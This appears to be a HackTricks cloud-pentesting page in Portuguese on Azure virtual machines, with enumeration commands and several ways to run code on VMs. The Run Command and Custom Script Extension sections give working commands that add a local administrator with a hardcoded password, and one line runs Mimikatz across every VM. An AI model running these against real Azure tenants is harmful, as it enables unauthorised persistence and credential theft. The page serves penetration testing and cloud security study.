Az - Virtual Machines & Network

Suporte HackTricks

Informações básicas

Dos documentos: As máquinas virtuais do Azure são um dos vários tipos de recursos de computação escaláveis sob demanda que o Azure oferece. Normalmente, você escolhe uma máquina virtual quando precisa de mais controle sobre o ambiente de computação do que as outras opções oferecem. Este artigo fornece informações sobre o que você deve considerar antes de criar uma máquina virtual, como criá-la e como gerenciá-la.

Informações sobre a Rede do Azure

As redes do Azure contêm diferentes entidades e maneiras de configurá-las. Você pode encontrar uma breve descrição, exemplos e comandos de enumeração das diferentes entidades de rede do Azure em:

Az - Azure Network

Azure Bastion

Azure Bastion oferece uma solução segura e totalmente gerenciada de acesso RDP (Remote Desktop Protocol) e SSH (Secure Shell) via SSL através do portal do Azure. Está integrado dentro de uma Rede Virtual do Azure, permitindo conectividade RDP e SSH para VMs usando IPs privados, evitando a necessidade de IPs públicos. Isso o torna uma alternativa mais segura e conveniente em relação aos métodos tradicionais que envolvem atribuições de IPs públicos e configurações de regras NSG para acesso a VMs. Desenvolvedores e pessoal de TI podem acessar VMs de forma segura a partir do portal do Azure usando seus navegadores da web, simplificando o processo para ambientes de desenvolvimento e teste.

Para listar todos os Hosts do Azure Bastion em sua assinatura, você pode usar o seguinte comando:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumeração de VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Executar comandos em uma VM

Login AAD na VM

É possível permitir o acesso a usuários autenticados via AzureAD. Por exemplo, ao tentar acessar uma linux VM: ssh username@azure-corp.com@1.1.1.1 (é importante usar o email com o azurecorp usado ao tentar fazer login) você pode receber um erro como:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Basta seguir essas instruções acessando https://microsoft.com/devicelogin e indicando o código, use o e-mail e a senha como credenciais e você poderá se conectar via SSH (se esse usuário tiver permissões suficientes para isso: Virtual Machine Administrator Login ou Virtual Machine User Login role).

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Executar Extensão de Script Personalizado

As extensões de máquinas virtuais (VM) do Azure são pequenos aplicativos que fornecem configuração e automação pós-implantação em VMs do Azure. Por exemplo, se uma máquina virtual requer instalação de software, proteção antivírus ou a capacidade de executar um script dentro dela, você pode usar uma extensão de VM.

Portanto, se você tiver acesso para escrevê-lo, poderá executar código arbitrário:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) é uma ferramenta PowerShell semelhante ao Ansible, usada para configurar um host através de código. O DSC integra-se ao Azure, permitindo o upload de arquivos de configuração específicos. Esses arquivos devem seguir uma sintaxe rigorosa. Notavelmente, a extensão DSC no Azure pode executar comandos de arquivos que atendem a certos critérios de formatação, mesmo que a sintaxe não esteja correta para os padrões do DSC, como mostrado na figura fornecida.

A execução desses comandos é facilitada pela função Publish-AzVMDscConfiguration no Az PowerShell. Os requisitos incluem um arquivo .PS1 com uma função definida e o arquivo deve ser compactado em um arquivo .zip. Mesmo que a sintaxe possa não ser precisa para o DSC, o código ainda será executado. No entanto, a extensão marcará o status de execução como "falha", e nenhuma saída do comando será visível devido ao status ser sobrescrito pela mensagem de falha.

VM Application Definitions

As Definições de Aplicativos de VM permitem a implantação repetível de aplicativos versionados em uma VM do Azure. Este recurso suporta a implantação e atualização de aplicativos em VMs. Para configurar isso, várias etapas são necessárias, envolvendo comandos como New-AzGalleryApplication e New-AzGalleryApplicationVersion no Az PowerShell.

A execução de aplicativos ou comandos através deste método envolve a "VMAppExtension", que é instalada automaticamente quando um aplicativo é aplicado a uma VM. A extensão recupera o arquivo do URI especificado e o nomeia exatamente como o aplicativo, sem uma extensão. Para executar o arquivo corretamente, o campo "ManageActions" na chamada da API REST deve ser configurado para renomear o arquivo com a extensão apropriada. A configuração deste método, uma vez concluída, se parecerá com a estrutura mostrada na figura fornecida.

No entanto, esse método de execução é relativamente lento, levando cerca de 3-4 minutos para executar um aplicativo ou comando. Os arquivos relacionados a esse processo são armazenados em diretórios específicos (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ para a cópia do aplicativo e C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ para o status de execução).

Ambas as técnicas fornecem maneiras únicas de executar comandos e implantar aplicativos em ambientes Azure, cada uma com seu próprio conjunto de requisitos, etapas e considerações.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) são um recurso no Azure que permite que Runbooks, configurados em uma Conta de Automação, sejam executados em uma Máquina Virtual (VM) do Azure que faz parte do HWG designado. Essa execução é facilitada por uma extensão instalada na VM, que implanta o código do Runbook na VM. Um aspecto significativo desse processo é que as credenciais reais não são um fator na execução, pois o código é executado com privilégios elevados, especificamente como SYSTEM ou root, como ilustrado na figura fornecida.

Um detalhe crucial para aqueles que utilizam VMs com Windows 10 é a necessidade de especificar a versão do PowerShell para o Runbook. Deve ser configurado para rodar como PowerShell Versão 5.1 em vez de 7.1. Essa exigência decorre do fato de que o PowerShell 7.1 não está instalado por padrão nessas VMs, levando a uma falha na execução do script se a versão 7.1 for especificada.

Esse recurso do Azure oferece um método robusto para automatizar e gerenciar tarefas em ambientes híbridos, permitindo a gestão e execução centralizadas de tarefas em VMs do Azure.

References

Support HackTricks

Last updated